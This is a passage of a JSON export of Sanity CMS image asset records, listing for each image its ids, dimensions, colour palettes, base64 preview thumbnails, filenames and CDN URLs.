ground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda49d","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4948c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#777777","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0676f","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aebc410326d7cc4dd196350723b6e028ceb029e4-1500x527.png","path":"images/sczeoy4w/production/aebc410326d7cc4dd196350723b6e028ceb029e4-1500x527.png","sha1hash":"aebc410326d7cc4dd196350723b6e028ceb029e4","size":26372,"uploadId":"MFiwldlZNNveOTr6rAWFAs3tfJ5YLKmC","url":"https://cdn.sanity.io/images/sczeoy4w/production/aebc410326d7cc4dd196350723b6e028ceb029e4-1500x527.png"} {"_createdAt":"2024-01-24T16:04:35Z","_id":"image-aee34ef2ef4e3122163cfcfddada177d0d8ae56c-2000x1333-jpg","_rev":"ZLvKaZvfbZlWBlGcp99w9D","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T16:04:35Z","assetId":"aee34ef2ef4e3122163cfcfddada177d0d8ae56c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDHn?B009uIV~q4oSzInV?xa00yD.8%M4ntRRQVsxubv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHAv/EACQQAAICAQQCAQUAAAAAAAAAAAECAwQFAAYRIRJBExQiMlFh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAZEQACAwEAAAAAAAAAAAAAAAAAEQECIhL/2gAMAwEAAhEDEQA/AJth6VZ7uNqLzLNZkEcnj2F79aqO6doXtvV6b1b80yfIIyisQU8uh170t1a6zy4TK1QtSWwXEiRqOCwH5D9aaNvw5HLri7F/LTy/TSsQpUcP370HWlJSlXIz19lVXhQ3b1oTkfd4NwNGtZLLTpbZQBwP7o0hO5P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303c56","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#51200e","foreground":"#fff","population":0.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#996e66","foreground":"#fff","population":6.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabeaa","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eee5d9","foreground":"#000","population":2.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#996e66","foreground":"#fff","population":6.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b04339","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"team-discussion-round-table-topview.jpg","path":"images/sczeoy4w/production/aee34ef2ef4e3122163cfcfddada177d0d8ae56c-2000x1333.jpg","sha1hash":"aee34ef2ef4e3122163cfcfddada177d0d8ae56c","size":309574,"uploadId":"6mK676GfBQFubAzDgFA9Jyp8CeYK83HJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/aee34ef2ef4e3122163cfcfddada177d0d8ae56c-2000x1333.jpg"} {"_createdAt":"2022-06-30T20:09:40Z","_id":"image-af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260-png","_rev":"CK1sLU2mnwa3vmbYWEdObg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:59Z","assetId":"af34034e41c5143f91a211fdd89756b1f5efdbba","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"44SY~y^j01~W4:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.107692307692307,"height":260,"width":1328},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAp0lEQVQYlW2QSw7CMBBDc/+rwQ0Qi26AgggtyXzyaY0mUQsLFk8jeRLbibuNI57eI8QIYgGzQESgqsg5Y1kWrOv6F9ulWjGJ4vx44Thc4KZ5RggBMVKDiHdTEUVKqRnnXBql2Mz7ZE14RsLp7nEYrnCbGTPvzQwWAVEP6Obf5v1s1y08smBmgY8M9w4BgRgpl/YEo9bamtnF3yDTNt3CmAmq0tpuX/MBdu023KEyCQsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424949","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d798a","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d798a","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97c0c7","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97ddec","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60909a","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fa2ba","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260.png","path":"images/sczeoy4w/production/af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260.png","sha1hash":"af34034e41c5143f91a211fdd89756b1f5efdbba","size":40252,"uploadId":"3N2sMKhICDiEEbwIYLGWAaknwsIoa8iW","url":"https://cdn.sanity.io/images/sczeoy4w/production/af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260.png"} {"_createdAt":"2022-10-03T10:31:32Z","_id":"image-af47dbea7ec112c1054e554062f912bf64ad6395-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfvvSxSd","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:32Z","assetId":"af47dbea7ec112c1054e554062f912bf64ad6395","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBAj/xAAdEAACAgIDAQAAAAAAAAAAAAAAAQIhAxIRMXFB/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABURAQEAAAAAAAAAAAAAAAAAAAAh/9oADAMBAAIRAxEAPwDpfHj1bayyXhpiqucvSSXZeCWqAaOvHfICxirr6AI//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e6e6e","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770d2d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7d","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1acb4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6aec4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7d","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e51957","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Redis-control.jpg","path":"images/sczeoy4w/production/af47dbea7ec112c1054e554062f912bf64ad6395-1280x720.jpg","sha1hash":"af47dbea7ec112c1054e554062f912bf64ad6395","size":58734,"uploadId":"Kbsh4r7F1n0JAhMdLjpw51PYdhcwF73Z","url":"https://cdn.sanity.io/images/sczeoy4w/production/af47dbea7ec112c1054e554062f912bf64ad6395-1280x720.jpg"} {"_createdAt":"2022-06-15T20:02:36Z","_id":"image-af94f397b7e9144a370d6939290c246ddb711da5-1567x844-png","_rev":"sI1gFaRN7B5HWmjllABNZ5","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:45Z","assetId":"af94f397b7e9144a370d6939290c246ddb711da5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQ9QHyY?v4.o}L4RjROaKxu%#McIU%MnQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADNElEQVQokT2Q22/bZBxA/S/xgLi87AGhSUzwgqYxNiaNVkOVeOkEiBK2MiDTWgkkSndpUdhYL7QhI+tWlSZN06QNaZZmadI2OHZiO7UdJ/b32YkvWZqy/H5IfeDh6LweHUaQtKt8VbnPV5VHfFX5g68qIUHSQqpmhgzqhYjZ+d86cUMlVgyvRuLh+EZqTpQavxLqBQj1Zgl17xPqXmNy+VJgM5XlE8mMlUhuk0Rym6a387TEilSpU6oTlxrUo8TsUFUzaXwjZU7evmfOzQcNtiw1CXUbhLqEUlugtP2IyRfY4GYqa67HU7i2voWx9S1Mbj3D3SKLgqRh07CRmB4axMWDUhWnpgM4MvIVzjycxUpFRJNQtAwdLYPYFqExpiYbCxVBNViuhv+wUp8t14DjZRAlDZQ6Bd1wTqgICjxd/guuXR8F3+dfQGR2BvTn8b7LLfVdfgmdWtZy6kKUMai3aFCP6MRFnThgEAdPoM5JXbNBUeR5jKwso9/vh8GBARwZGoKNG99A+/aXcBz+CHqbn2K38FurU9mOMoS6iycPTBcpdcCkNpqGhVRuoM4KqBdSyEZ+xjvfD+GH597Hs2dOo+/8e/j48iWsfXIR7cmPwUt8i939UOuomo4ylLYXTdoiJrHQIma/1dTBLpXBWU2CvRAG+3c/VANn4O7wq3D+ndfh8tuvwb2zb8LKhXehcOUKyNMT0MyuoCNkWsdKMcq0DGOxpetGS29g22j0HbkGnUgcjn4KwNEPk+BOfQZy4C2I3XwFbg6+ASMfnIK5gdOQGb4I7K1RkJ4E++puEu1q1nqpFqKMc1gNWhJPicSjVRfRkyvYTSbw+ME89mbm0H48jerSVdx/eA6Xf7yE8+PDmPjFj+KfU6isBVF5torGQQK7YqYNam6N8bjdSbOUy2ts/pBKJaFT5/ijSpHr5dNcr5Dm2sUkV/t7XiytTtRzT+/Ie7GFarOwJnh8SrK5lNQqb4kvhPRhX87uoZqbYV5I+xccoXi9Je6NO3LJ39XKoz2N9fW0ku9f7cDnSM+/5jKRW7lYeLqYfDKhHyS/eynv+FHNjfWVnbG+vDMGys44qrkboOYG/wMhmcpoCXPPzgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40344d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88543e","foreground":"#fff","population":0.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#88543e","foreground":"#fff","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bb97","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6c8c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#667193","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f35e13","foreground":"#fff","population":0.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"af94f397b7e9144a370d6939290c246ddb711da5-1567x844.png","path":"images/sczeoy4w/production/af94f397b7e9144a370d6939290c246ddb711da5-1567x844.png","sha1hash":"af94f397b7e9144a370d6939290c246ddb711da5","size":449356,"uploadId":"Z4YnpJAbFcn0aOOfMfnv46BkarEzFq5d","url":"https://cdn.sanity.io/images/sczeoy4w/production/af94f397b7e9144a370d6939290c246ddb711da5-1567x844.png"} {"_createdAt":"2022-06-15T20:02:04Z","_id":"image-b009a144b506ee0d5224e6c5916c19d5d1c6a197-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRrhzUt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:25Z","assetId":"b009a144b506ee0d5224e6c5916c19d5d1c6a197","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEOmK+_O3pBP*|-o9^#mtlOWQ8S|Orxbsn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADR0lEQVQokRXOfVMTdADA8b0OtyGyjQ12AyqMhQRkRiIEcSaDsoWAC8eDBHGR5NCKh+NUGODxoHRJ3WFg2F1XXSdwKCbKM2w8DcaAgTyT/4y7vO337fy8go+kP+A1BoIiGAzWM6Q5yogijHE/LdNyDQ65miV5IMuyQFZlKtYPq3GHhLMcfRxX1DvMx8UzVWjGVnMVR14uTn00kkdBETyLimcsJoGJyDgmQo8xFRDCrDyIRbmGZbkatyyQtSPBuCKjmcvMYLa8lDlLGROlJYxcK2e+owlX43UcaWeRvNoNR8UzEZuILTqe6YjjzOr0LKhCWfLTsCpV4j6sZvnVqKiAqaYaxtusjN2s43HV9zyuvcrM3Zu47jSxUPgFkn+C9YzFJmJPSGUuKY3FxFSW4pJZiX6f1VA9q+owXOFRzH9uYvqHWma6bzPZ1sDT6kp6yy/zd0UpA/VXmGy9wUxVJZKnumPYPkjDYcxh6ZyZlYwc1owmNozn2TQYWUs24DR8ir28jLF2K7buVuy/NDPSZuVhcy099d8x0HCF8Z+bmLrfiWRIF4k90cBCehaus9m4M81sZOeynXOR3fxitrLMrHz0CXPnTYxWWxhsreFhayUPblXR09HKYGcb9nu3mP6ri9GBPiTDmqPYYhJwJKbiOmNk3VTAVl4RuwVf8u/FEvYzTGxHvYs7PJKF5BTG8y7Qaymm65qFrjst9HbfZfh+B0N//saj/n4kI6rXhf2tE8LxXrJwJRnE83MXxE5ukdjPLxYvTLnixel0sR8WIXb8AsVzhVY49THiWWaW6KiwiGbrde7VWUVfZbXoq2vgj85fkYwFhGDT6Zl/422cb8bgjj3J5skP2TmVwv6JU+zrY9hT6diTKdk8pGBRqeNJSio/fvM1NZYy0W4u4MHpj+nJzKHb2ohk3E/rtflrvXP+Wu+if7B35YjWu67Q+jYUWt9mQLDY9tf4duUq355M6d2SKrxOZYjvSYrB11ZWKr79qojGzGzRnXRG/P6Zic4b9Ugm5UEeu0zjmZepPU5ZoGdFpvKsS5UH61LlyzWpyrshVf63K1Ue7MmUnp1DAZ41dejBaLrxZdvlS76ykkIq8vNEi7lAtF8q56eW2/wPkmMn/cEO2G8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6157","foreground":"#fff","population":3.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d50423","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec1c24","foreground":"#fff","population":9.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e2c9ca","foreground":"#000","population":2.16,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f085a0","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6852","foreground":"#fff","population":2.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec1c24","foreground":"#fff","population":9.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b009a144b506ee0d5224e6c5916c19d5d1c6a197-1567x844.png","path":"images/sczeoy4w/production/b009a144b506ee0d5224e6c5916c19d5d1c6a197-1567x844.png","sha1hash":"b009a144b506ee0d5224e6c5916c19d5d1c6a197","size":976063,"uploadId":"QViU0bjL8QYTdmWIJQQuVZR5mu1xPRMC","url":"https://cdn.sanity.io/images/sczeoy4w/production/b009a144b506ee0d5224e6c5916c19d5d1c6a197-1567x844.png"} {"_createdAt":"2024-03-22T13:36:51Z","_id":"image-b019665535925eca2eb83a392cdf9c26e079a07b-753x190-png","_rev":"80Znsvx5FiXC5oBvpW9d6C","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T13:36:51Z","assetId":"b019665535925eca2eb83a392cdf9c26e079a07b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DqG[[|9F00~qxut7WBWBofj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.963157894736842,"height":190,"width":753},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAy0lEQVQYlYWQSw4BQRiE28bSYpzCxsIRnMJOxCFwCXERbiBhKzZsJR7xikR0zxhtenRXSQsSC1TypzZfvlR+Ib7EWpchKQgEF522VKh3UsZU8swojI3WSc9aW/LMYDASAMTPmNQ+hM654CR1c72Vu8XiwPlsg9Vyb45H2U2MeQgbzc5/4WuhAwKd3FrR+bpXKqY8RQxVnH4sHI7/Cz0AUoDIAagD6AOYApgAGANoAyh4oWd9/8zzf76zJIskKyRrz6uSLJPMO+ferM8dpXnRvDYQN4kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d274c","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c64","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6bed1","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bed1","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcacec","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#866c9c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#769bc0","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"knowyyy_logo1.png","path":"images/sczeoy4w/production/b019665535925eca2eb83a392cdf9c26e079a07b-753x190.png","sha1hash":"b019665535925eca2eb83a392cdf9c26e079a07b","size":19024,"uploadId":"RbM2ISsRP5hsaojYIFPKBv29l4MqgNSs","url":"https://cdn.sanity.io/images/sczeoy4w/production/b019665535925eca2eb83a392cdf9c26e079a07b-753x190.png"} {"_createdAt":"2022-06-15T20:01:29Z","_id":"image-b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEaZUC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:17Z","assetId":"b02f92c4b300bcb4fea41e45aee7d2864bcd2fea","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeQvUb~WniI:%M_3H?M{%MXStRS#xaRjM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVQokW2R72sScRzH729qz83s6RJEho8Xo1DBZ2OVPdRkQmSRhEVBar+wiY4m3dqszsMhW3MJnsaxUerudndf03N61+6+9/3EGcKCvfk8fb148/5QQIh9GINpgnEGpgEWhotCpjFN0zAMjDEhhAL9D1FHICsgiCAKgE5gcmqLLMuWniMxxrquK4oiiqKqqoZhUOQEkW/fCb0Fn7YIs032GDhqwaAPuma3mPIY49FoJMuyJEk8z3Mc1+12EUIU6Z1AqQxPX1qZjJ59pr95YjEb0PsJ6hAmYzDOCMbaRON5vlarNZvNVqvVbDbb7Xaj0aBAPYUDjpRZ/WvluLjWe/dCq2wSoQfDoc2PTy1tLPZ6H2l6LZ9nWbZer+/v71erVZqmKcAWjDUyUDUF/eK4w71dlf9hSRJREOkjov6e9BX2y+d70ejjZJKmaZZlGYYplUr5fJ76twZMZ1SHKpIVHfWJKIMgWJJoDpB83M2m09cXF4PB4Orqai6XY1l2q1wuFNen8GxQjLFpGJamw3BkIiQdHXIH9d1aLZNOh0KhhYUFr9cbiUQqDLO3s7O98eEcPPsksSximn1ZXi8U7obvRCPRV9lsKpUKBAIej2dlZWXzfa5dzLdeP/8PnjlsS7fTicfjV5xOt9sdi8WSyaTf75+/Nn9zaeltLNZ5cH+ciF4ETysIgvAwkXA4HC6XKxQKhcNhn893aW7u6mXnoxv+7vJtcmv5L/bNIv2+3AwkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#402420","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043121","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f8f8e","foreground":"#fff","population":3.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8d4d4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2878b","foreground":"#000","population":1.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f8f8e","foreground":"#fff","population":3.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed4d51","foreground":"#fff","population":3.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405.png","path":"images/sczeoy4w/production/b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405.png","sha1hash":"b02f92c4b300bcb4fea41e45aee7d2864bcd2fea","size":76346,"uploadId":"WVRJMnZPtVFRUqMjeFBASgw6e9b5Ro4T","url":"https://cdn.sanity.io/images/sczeoy4w/production/b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405.png"} {"_createdAt":"2022-06-15T20:01:50Z","_id":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7qNV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:13Z","assetId":"b0449afd20c8f661e22eb3ac624f2bd11b69c630","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTRbqG|Z$j71;L$%ozNxwcjF;LJUNb-6JC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACwElEQVQokWWSW2hTaRSF/yTaNLWp11RHpEgpY0URFenAFHU6jFIVbx3rBdEXb6B4H89pTtK0SZqGNqY2ttrUC5WBQX0UEdQ3XxTx8uaDKCLeEa1aPdWYk/3JSesg+LDYa8P/770WeykaXGAUQMANxkjQHYiuYBg2/7/XFBJ0Iu1u5IiHbKuHgaCXgYZRZHVX/o0i5IXWKdBWDvEyiE5CohOhZTISLYXGUcjwEstw8jVSQOZwEWZHMc9bJ3InWMlNrZKnmg/L70Jhf07NhfRC6P0D6ZkPPfOR3hqkqyo/PKe7yOhOPkUK+dBRQn9qAg/byrhgVNH9z2r69JXc9U8nE3SjiPggNQdO/Amnl8CpxYjN0wuQw5XkmkrIBEfwsbmQt8lxPEtP4166hkvtdcQPbcLYt40zxt/cb6wga4xAER4PHTPgePWQsmO/I92/IckZ5MJjyUTdfEwW058ay6OuCq4dq+Nct04yZhAyNNLRPdxqr+V99Bck4ETlD9I0hrzSiA+xF4THIaESvgYK+BTzMJAazaukjyuNs2k5uJF9e3ezbft2tAN7udSt8aavntyRCiRsW9aGrvcd8kPN6g4G7aHNXh43TeXkzmo2rKpl+bKlbF67ktD+HVzuCfLu7A7orUJai1GiKxHdMQz1E7KaQ0y/V57E5sl5Y7Vsqa9l3fJFEt+1Rv6L7ZQrx3V58e9WyaXnicSLRRHwQKiEfHxs+3ZEbJXfc2gr9RfyNj6L64l1JPZvEP+WFZxvrONG53rudNXzsqeGbGcZxGzLTaMtWiZZREotgkWW6A4LTVmiDyHP/c7cYLRUHnRUy9XECi62/CW3E1XyLDUz199Zbg0mfFYu5rFodlkKY6RJoNAk4DZpcJnoyhRNmWLXYRB0frYSRdZA72R53fcr/X3lYp4otbJHvV+kzW1K2GVKwGHiV+Y30D8ryZmGJ+IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40403f","foreground":"#fff","population":4.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a3004","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":42.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5b0cd","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c177","foreground":"#000","population":0.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657d9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":42.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844.png","path":"images/sczeoy4w/production/b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844.png","sha1hash":"b0449afd20c8f661e22eb3ac624f2bd11b69c630","size":499584,"uploadId":"c2HvZW21oPpgGEkqvBU1qyHVihd07afW","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844.png"} {"_createdAt":"2023-12-04T14:22:55Z","_id":"image-b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628-png","_rev":"LDCVHimI6r4jzwxT3ImwV9","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T14:22:55Z","assetId":"b04ae645b3878f57f7cac9448bd2efca7ce8923b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNi:.#W9-6eB~VpuaJidixZ~aMgNaeg2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACJUlEQVQokV3S2U5TARRG4dMCgvMQFDDVVISClUHAAS1ojPgCDgioRBTnKWoVCSrFViiltggSfNmzlimN0XjxX+ybL3sKGGuQhzF53SlvTsi7pKRPyExSZpMyl9SZY/JilzyJyPOofNgtubgUT8pKpxTapdQla/0GTOyUFx3yaUjmL8qXlGRSkh2WXEpy5/XrgMy2SrpJZpokc1SWO6WYlKW4fItJ/pgU2gwY3ymvk5K5ItkRyQxL9pIsXZFvw7I4pIXLUrgohZR8H5LVISmfluWELDTJwkHJtchCowG3GuRZm8wOytygzPbL3IDMn5Wvg5I9p4vnJZ+SlWFZG5GNq7JeqZOyGJd8q+Tjkm024EatTB6QRzF5UkmLPG2Wl4flbVzSRzUdk/cx+XhE5tsk3y2lPin1SrlXfpyScpcsHzfgWiDXI3IzKrdqZDwqd6IyWSNTtTJdK4/r5Fm9PN8mb3bI52ZZ7pByBeqR1d5qVhIG4R/wRkRGIzIWyHggdwKZDOR+5bLb5d1+Se+V93vkS0t13NU+KXZuQVsdlroMwpu1hnf3GU41yr19crdebkf+gg9qJN0o2ePVZI5IrlVKPbI2ICsdUkjIjz7ZOGcQjm4znDpk+ChmOH1IJnf8B0arYD4pxR5ZbJd8Qlb75eeZ6v+Vu7cwNlMG4fWIFZSx